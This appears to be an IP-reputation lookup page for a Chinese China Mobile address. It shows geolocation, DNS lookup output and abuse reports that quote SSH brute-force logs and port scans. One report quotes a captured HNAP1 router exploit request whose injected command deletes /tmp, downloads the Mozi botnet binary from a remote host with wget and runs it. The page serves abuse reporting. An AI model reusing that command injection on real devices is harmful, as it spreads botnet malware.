111.42.6.214 - IPInfo

基本信息:

城市(city): Suihua

省份(region): Heilongjiang

国家(country): China

运营商(isp): China Mobile

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:

点此参与IP信息讨论

暂无关于此IP的讨论, 沙发请点上方按钮

相同子网IP讨论:

IP	类型	评论内容	时间
111.42.66.27	attack	Unauthorized connection attempt detected from IP address 111.42.66.27 to port 8080	2020-05-31 03:43:33
111.42.66.150	attackbotsspam	Honeypot attack, port: 5555, PTR: PTR record not found	2020-05-21 03:30:06
111.42.66.48	attackbots	Unauthorized connection attempt detected from IP address 111.42.66.48 to port 8080 [T]	2020-05-09 18:54:19
111.42.66.143	attackbots	WEB Remote Command Execution via Shell Script -1.a	2020-05-09 07:20:47
111.42.66.43	attackbots	Automatic report - Port Scan Attack	2020-05-08 07:03:12
111.42.66.48	attackspam	Unauthorised access (May 6) SRC=111.42.66.48 LEN=60 TOS=0x04 TTL=52 ID=27433 DF TCP DPT=8080 WINDOW=5840 SYN	2020-05-07 01:18:13
111.42.67.31	attackspam	Unauthorized connection attempt detected from IP address 111.42.67.31 to port 2323 [T]	2020-04-14 23:25:30
111.42.66.162	attack	Honeypot attack, port: 81, PTR: PTR record not found	2020-04-12 21:54:06
111.42.67.77	attackspam	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://111.42.67.77:38257/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 2020-04-06 12:23:14
111.42.67.49	attackbotsspam	Fail2Ban Ban Triggered	2020-03-28 16:26:23
111.42.67.72	attackbotsspam	suspicious action Thu, 27 Feb 2020 11:22:32 -0300	2020-02-28 03:23:14
111.42.66.151	attackspam	111.42.66.151 - - \[21/Feb/2020:05:56:51 +0100\] "POST /HNAP1/ HTTP/1.0" 301 551 "-" "-"	2020-02-21 14:49:02
111.42.66.45	attackspambots	unauthorized connection attempt	2020-02-16 19:18:24
111.42.66.31	attackspambots	Automatic report - Port Scan Attack	2020-01-30 21:38:03
111.42.66.36	attackspambots	Unauthorized connection attempt detected from IP address 111.42.66.36 to port 23 [J]	2020-01-29 03:41:57

WHOIS信息:

DIG信息:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 111.42.6.214
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12510
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;111.42.6.214.			IN	A

;; AUTHORITY SECTION:
.			190	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022040201 1800 900 604800 86400

;; Query time: 20 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Apr 03 08:34:26 CST 2022
;; MSG SIZE  rcvd: 105

HOST信息:

b'Host 214.6.42.111.in-addr.arpa not found: 2(SERVFAIL)
'

NSLOOKUP信息:

;; Got SERVFAIL reply from 183.60.83.19, trying next server
Server:		183.60.82.98
Address:	183.60.82.98#53

** server can't find 214.6.42.111.in-addr.arpa: SERVFAIL

最新评论:

IP	类型	评论内容	时间
84.54.153.180	attackspam	TCP Port Scanning	2019-12-20 19:32:51
5.89.64.166	attackbotsspam	Dec 20 11:28:43 localhost sshd[21207]: Failed password for invalid user webmaster from 5.89.64.166 port 60874 ssh2 Dec 20 11:39:42 localhost sshd[21666]: Failed password for invalid user home from 5.89.64.166 port 45434 ssh2 Dec 20 11:48:24 localhost sshd[21973]: User daemon from 5.89.64.166 not allowed because not listed in AllowUsers	2019-12-20 19:02:31
94.23.27.21	attack	serveres are UTC -0500 Lines containing failures of 94.23.27.21 Dec 17 19:34:31 tux2 sshd[21031]: Invalid user test from 94.23.27.21 port 38754 Dec 17 19:34:31 tux2 sshd[21031]: Failed password for invalid user test from 94.23.27.21 port 38754 ssh2 Dec 17 19:34:32 tux2 sshd[21031]: Received disconnect from 94.23.27.21 port 38754:11: Bye Bye [preauth] Dec 17 19:34:32 tux2 sshd[21031]: Disconnected from invalid user test 94.23.27.21 port 38754 [preauth] Dec 17 19:40:13 tux2 sshd[21328]: Failed password for r.r from 94.23.27.21 port 60440 ssh2 Dec 17 19:40:13 tux2 sshd[21328]: Received disconnect from 94.23.27.21 port 60440:11: Bye Bye [preauth] Dec 17 19:40:13 tux2 sshd[21328]: Disconnected from authenticating user r.r 94.23.27.21 port 60440 [preauth] Dec 17 19:45:00 tux2 sshd[21591]: Invalid user nfs from 94.23.27.21 port 43378 Dec 17 19:45:00 tux2 sshd[21591]: Failed password for invalid user nfs from 94.23.27.21 port 43378 ssh2 Dec 17 19:45:00 tux2 sshd[21591]: Received........ ------------------------------	2019-12-20 18:59:31
138.197.89.212	attackbotsspam	Oct 24 06:52:54 vtv3 sshd[12825]: Failed password for invalid user blaster from 138.197.89.212 port 46110 ssh2 Oct 24 06:56:45 vtv3 sshd[14795]: Invalid user alessandro from 138.197.89.212 port 57040 Oct 24 06:56:45 vtv3 sshd[14795]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.89.212 Oct 24 07:08:26 vtv3 sshd[20466]: Invalid user P455word1 from 138.197.89.212 port 33360 Oct 24 07:08:26 vtv3 sshd[20466]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.89.212 Oct 24 07:08:28 vtv3 sshd[20466]: Failed password for invalid user P455word1 from 138.197.89.212 port 33360 ssh2 Oct 24 07:12:25 vtv3 sshd[22460]: Invalid user pumch from 138.197.89.212 port 44290 Oct 24 07:12:25 vtv3 sshd[22460]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.89.212 Dec 20 08:02:56 vtv3 sshd[27463]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.19	2019-12-20 18:53:48
81.45.56.199	attackspambots	Dec 20 08:39:00 eventyay sshd[12537]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.56.199 Dec 20 08:39:02 eventyay sshd[12537]: Failed password for invalid user mandrake91 from 81.45.56.199 port 37986 ssh2 Dec 20 08:41:27 eventyay sshd[12626]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.56.199 ...	2019-12-20 19:33:09
80.232.246.116	attack	Dec 20 09:38:50 Ubuntu-1404-trusty-64-minimal sshd\[24437\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.232.246.116 user=nobody Dec 20 09:38:52 Ubuntu-1404-trusty-64-minimal sshd\[24437\]: Failed password for nobody from 80.232.246.116 port 36092 ssh2 Dec 20 09:51:59 Ubuntu-1404-trusty-64-minimal sshd\[4463\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.232.246.116 user=root Dec 20 09:52:01 Ubuntu-1404-trusty-64-minimal sshd\[4463\]: Failed password for root from 80.232.246.116 port 36808 ssh2 Dec 20 09:57:04 Ubuntu-1404-trusty-64-minimal sshd\[8275\]: Invalid user tigrou from 80.232.246.116	2019-12-20 19:00:00
85.144.135.221	attackspambots	TCP Port Scanning	2019-12-20 18:55:47
84.205.241.3	attackbotsspam	Port scan on 2 port(s): 1433 3389	2019-12-20 19:22:17
40.92.18.104	attackspam	Dec 20 09:25:52 debian-2gb-vpn-nbg1-1 kernel: [1201512.526512] [UFW BLOCK] IN=eth0 OUT= MAC=96:00:00:38:96:44:d2:74:7f:6e:37:e3:08:00 SRC=40.92.18.104 DST=78.46.192.101 LEN=40 TOS=0x00 PREC=0x00 TTL=228 ID=13237 DF PROTO=TCP SPT=11329 DPT=25 WINDOW=0 RES=0x00 ACK RST URGP=0	2019-12-20 19:32:28
81.101.253.42	attack	Dec 20 12:20:14 server sshd\[17252\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=cpc87345-slou4-2-0-cust297.17-4.cable.virginm.net user=root Dec 20 12:20:16 server sshd\[17252\]: Failed password for root from 81.101.253.42 port 37916 ssh2 Dec 20 12:31:28 server sshd\[20046\]: Invalid user rpm from 81.101.253.42 Dec 20 12:31:28 server sshd\[20046\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=cpc87345-slou4-2-0-cust297.17-4.cable.virginm.net Dec 20 12:31:30 server sshd\[20046\]: Failed password for invalid user rpm from 81.101.253.42 port 55258 ssh2 ...	2019-12-20 18:59:47
145.239.94.191	attackspam	Dec 20 00:39:09 kapalua sshd\[1139\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=191.ip-145-239-94.eu user=root Dec 20 00:39:11 kapalua sshd\[1139\]: Failed password for root from 145.239.94.191 port 35346 ssh2 Dec 20 00:44:30 kapalua sshd\[1649\]: Invalid user ud from 145.239.94.191 Dec 20 00:44:30 kapalua sshd\[1649\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=191.ip-145-239-94.eu Dec 20 00:44:32 kapalua sshd\[1649\]: Failed password for invalid user ud from 145.239.94.191 port 38758 ssh2	2019-12-20 18:56:39
37.228.139.62	attackbots	Dec 20 11:22:11 ns3042688 sshd\[8780\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.228.139.62 user=root Dec 20 11:22:12 ns3042688 sshd\[8780\]: Failed password for root from 37.228.139.62 port 48926 ssh2 Dec 20 11:26:56 ns3042688 sshd\[10965\]: Invalid user lisa from 37.228.139.62 Dec 20 11:26:56 ns3042688 sshd\[10965\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.228.139.62 Dec 20 11:26:57 ns3042688 sshd\[10965\]: Failed password for invalid user lisa from 37.228.139.62 port 38652 ssh2 ...	2019-12-20 19:14:00
61.177.172.128	attack	Dec 20 12:27:46 localhost sshd\[13589\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.177.172.128 user=root Dec 20 12:27:48 localhost sshd\[13589\]: Failed password for root from 61.177.172.128 port 7798 ssh2 Dec 20 12:27:52 localhost sshd\[13589\]: Failed password for root from 61.177.172.128 port 7798 ssh2	2019-12-20 19:30:57
202.200.142.251	attackspambots	Invalid user psu from 202.200.142.251 port 54254 pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.200.142.251 Failed password for invalid user psu from 202.200.142.251 port 54254 ssh2 Invalid user 123 from 202.200.142.251 port 55304 pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.200.142.251	2019-12-20 19:27:24
206.189.35.254	attackbots	Dec 20 10:14:48 hell sshd[26546]: Failed password for mysql from 206.189.35.254 port 60730 ssh2 ...	2019-12-20 18:58:41

最近上报的IP列表

111.42.253.104	111.42.89.23	111.43.123.152	111.43.123.2
20.249.185.59	111.43.19.11	111.77.217.86	111.77.22.12
111.77.22.251	111.77.96.192	111.77.96.202	111.77.96.237
47.246.58.113	111.77.97.219	111.79.192.148	111.79.193.115
111.79.208.239	111.79.211.147	111.79.212.117	111.79.212.137